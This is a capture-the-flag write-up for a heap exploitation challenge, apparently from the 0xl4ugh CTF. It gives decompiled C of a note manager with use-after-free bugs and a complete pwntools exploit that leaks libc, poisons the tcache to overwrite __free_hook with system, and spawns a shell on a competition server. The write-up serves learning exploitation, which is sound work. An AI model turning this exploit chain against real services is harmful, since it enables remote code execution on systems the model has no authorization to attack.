0xl4ugh_pwn
pwn
pwn1
glibc 2.31 有pie,choice 10能分一个很大的堆块,所以思路是把tcache填满,然后free掉一个大堆块,通过unsortedbin去泄露libc的地址,然后通过tcache bin attack去写free hook为system,再去free掉一块内容为binsh的堆 触发system(/bin/sh)
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+4h] [rbp-1BCh] BYREF
int v5; // [rsp+8h] [rbp-1B8h] BYREF
int v6; // [rsp+Ch] [rbp-1B4h]
char *v7; // [rsp+10h] [rbp-1B0h]
char *s; // [rsp+18h] [rbp-1A8h]
void *ptr[52]; // [rsp+20h] [rbp-1A0h]
ptr[51] = (void *)__readfsqword(0x28u);
init(argc, argv, envp);
v6 = 0;
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
menu();
__isoc99_scanf("%d", &v4);
getchar();
if ( v4 != 1 )
break;
s = (char *)malloc(0x28uLL);
puts("Enter the note");
fgets(s, 10, stdin);
puts("Note created");
ptr[v6++] = s;
}
if ( v4 != 2 )
break;
puts("Which note do you want to delete?");
__isoc99_scanf("%d", &v5);
getchar();
if ( v6 < v5 )
goto LABEL_15;
free(ptr[v5 - 1]);
}
if ( v4 != 3 )
break;
puts("Which note do you want to edit?");
__isoc99_scanf("%d", &v5);
getchar();
if ( v6 < v5 )
{
LABEL_15:
puts("Invalid choice");
}
else
{
fgets((char *)ptr[v5 - 1], 100, stdin);
puts("Note edited");
}
}
if ( v4 != 4 )
break;
puts("Which note do you want to read?");
__isoc99_scanf("%d", &v5);
getchar();
if ( v6 < v5 )
goto LABEL_15;
puts((const char *)ptr[v5 - 1]);
}
if ( v4 == 5 )
return 0;
if ( v4 == 10 )
{
v7 = (char *)malloc(0x4B0uLL);
puts("Enter the note");
fgets(v7, 10, stdin);
puts("Note created");
ptr[v6++] = v7;
}
}
}
exp
from pwn import *
from LibcSearcher import *
import itertools
import ctypes
context(os='linux', arch='amd64', log_level='debug')
is_debug = 0
IP = "20.55.48.101"
PORT = 1339
elf = context.binary = ELF('./chall')
libc = elf.libc
def connect():
return remote(IP, PORT) if not is_debug else process()
# gdb.attach(p)
g = lambda x: gdb.attach(x)
# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
# recv() recvline() recvuntil()
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
def create_note(idx):
ru("5. Exit\n")
sl("1")
sla("Enter the note",str(idx))
def delete_note(idx):
ru("5. Exit\n")
sl(b"2")
sla("Which note do you want to delete?",str(idx + 1))
def edit_note(idx,data):
ru("5. Exit\n")
sl(b"3")
sla("Which note do you want to edit?",str(idx + 1))
sl(data)
def read_note(idx):
ru("5. Exit\n")
sl(b"4")
sla("Which note do you want to read?",str(idx + 1))
def create_big_note(idx):
ru("5. Exit\n")
sl(b"10")
sla("Enter the note",str(idx))
p = connect()
for i in range(7):
create_note(i)
create_big_note(7)
create_note(8)
for i in range(7):
delete_note(i)
delete_note(7)
# g(p)
read_note(7)
libc_base = r_leak_libc_64() - (0x7f874aedebe0 - 0x7f874acf3000)
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
success(f"libc_base ->{hex(libc_base)}")
success(f"free_hook ->{hex(free_hook)}")
success(f"system ->{hex(system)}")
# g(p)
for i in range(7):
create_note(i)
create_big_note(7)
delete_note(0)
delete_note(1)
edit_note(1,p64(free_hook))
create_note(1)
create_note(2)
edit_note(18,p64(system))
create_note(2)
edit_note(2,b'/bin/sh')
delete_note(2)
p.interactive()